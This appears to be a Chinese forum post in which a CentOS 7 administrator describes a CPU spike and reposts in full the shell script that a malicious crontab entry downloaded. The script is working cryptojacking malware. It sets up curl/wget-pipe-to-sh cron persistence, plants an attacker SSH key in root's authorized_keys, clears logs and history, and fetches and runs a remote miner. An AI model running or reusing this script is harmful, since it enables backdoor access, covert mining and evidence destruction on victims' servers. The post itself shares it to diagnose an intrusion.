Linux 被黑了，来看看这是什么回事。。。

系统 centos7

今天看到服务器报警 68%的 cpu 被用。我也没干嘛啊。 用 htop 看到如下：

很浪啊，赶紧 kill -9 杀掉进程，单一下子就有起来了。 灵光一闪，查看 crontab，如图: 用 crontab 里的链接下载了这个 sh：

#!/bin/bash
ps -ef | grep crypto-pool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep nanopool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep supportxmr | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep minexmr | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep dwarfpool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep xmrpool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep moneropool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep xmr | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep monero | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep udevs | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep kworkers | grep -v grep | awk '{print $2}' | xargs kill -9
skill -KILL udevs
skill -KILL kworkers
rm -rf /var/lib/apt/lists/*
apt-get update
apt-get install wget -y
apt-get install libcurl4-openssl-dev -y
apt-get install python-pip -y
apt-get install ca-certificates -y
apt-get install redis-tools -y
apt-get install python gcc -y
apt-get install python-setuptools python-dev build-essential -y --allow-unauthenticated
yum -y install epel-release
yum -y install wget gcc redis git python-pip ca-certificates
echo "0 * * * * curl -fsSL http://chrome.zer0day.ru:5050/mrx1 | sh" > /var/spool/cron/root
echo "0 * * * * wget -q -O- http://chrome.zer0day.ru:5050/mrx1 | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
mkdir -p /root/.ssh/
echo "0 * * * * curl -fsSL http://chrome.zer0day.ru:5050/mrx1 | sh" > /var/spool/cron/crontabs/root
echo "0 * * * * wget -q -O- http://chrome.zer0day.ru:5050/mrx1 | sh" >> /var/spool/cron/crontabs/root
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV1VxPVZFUOOWZwMFVBwP/904lhAZNj2U5DPsZyIWw33jHeFRElM++XnUYmkMDiu8KuJXnFDJMkyXxsq77fOpDhVGOoexll3+P6SmZWViWwnhOgvxhccgT72J+LPZEIwPqPZQVHR4ksdVSnMVreyZs+rQ7O+L2xychpqzeIrk4Q/08f5XreOnq4Rgxp9oKwSlf7vKmQ7tUWUxfMHHL1wQYZPmdKpgSi/JmokLpp5cKAT7r0gGOj1jV8ZAJc+z45Ts2JBH9JYscHBssh7MBWWymcjXANd9a6XaQnbnl6nOFFNyYm8dBuLkGpEUNCdMq/jc5YLfnAnbGVbBMhuWzaWUp root@host-10-10-10-26" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
PS3=$(iptables -L | grep 6379 | wc -l)
if [ $PS3 -eq 0 ];
then
yum -y install iptables-services
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
service iptables save
/etc/init.d/iptables-persistent save
fi
echo "" > /var/log/wtmp
echo "" > /var/log/secure
history -c
if [ ! -f "/tmp/migrations" ];then
wget https://transfer.sh/SstPD/clay  --no-check-certificate -O /tmp/clay && chmod +x /tmp/clay
wget https://transfer.sh/q4oJN/nodexx --no-check-certificate -O /tmp/migrations && chmod 777 /tmp/migrations
curl -sk https://transfer.sh/q4oJN/nodexx -o /tmp/migrations && chmod 777 /tmp/migrations
fi
cd /tmp
PS1=$(ps aux | grep clay | grep -v "grep" | wc -l)
if [ $PS1 -eq 0 ];
then
    /tmp/clay &
fi
PS2=$(ps aux | grep migrations | grep -v "grep" | wc -l)
if [ $PS2 -eq 0 ];
then
    /tmp/migrations -o stratum+tcp://pool.zer0day.ru:8080 --max-cpu-usage 85 -k -B
fi
if [ $? -ne 0 -a $PS2 -eq 0 ];
then
wget https://transfer.sh/pQMdB/glibc-2.14.tar.gz --no-check-certificate -O /tmp/glibc-2.14.tar.gz && tar zxvf /tmp/glibc-2.14.tar.gz -C / && export LD_LIBRARY_PATH=/opt/glibc-2.14/lib:$LD_LIBRARY_PATH && /tmp/migrations -o stratum+tcp://pool.zer0day.ru:8080 --max-cpu-usage 85 -k -B && echo "" > /var/log/wtmp && echo "" > /var/log/secure && history -c 
fi
if [ $PS3 -eq 0 ];
then
yum -y install iptables-services
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
service iptables save
/etc/init.d/iptables-persistent save
fi

各位猜猜他是不是要挖矿。 我现在只是把外网用防火墙给卡断了，想仔细研究研究他到底在干嘛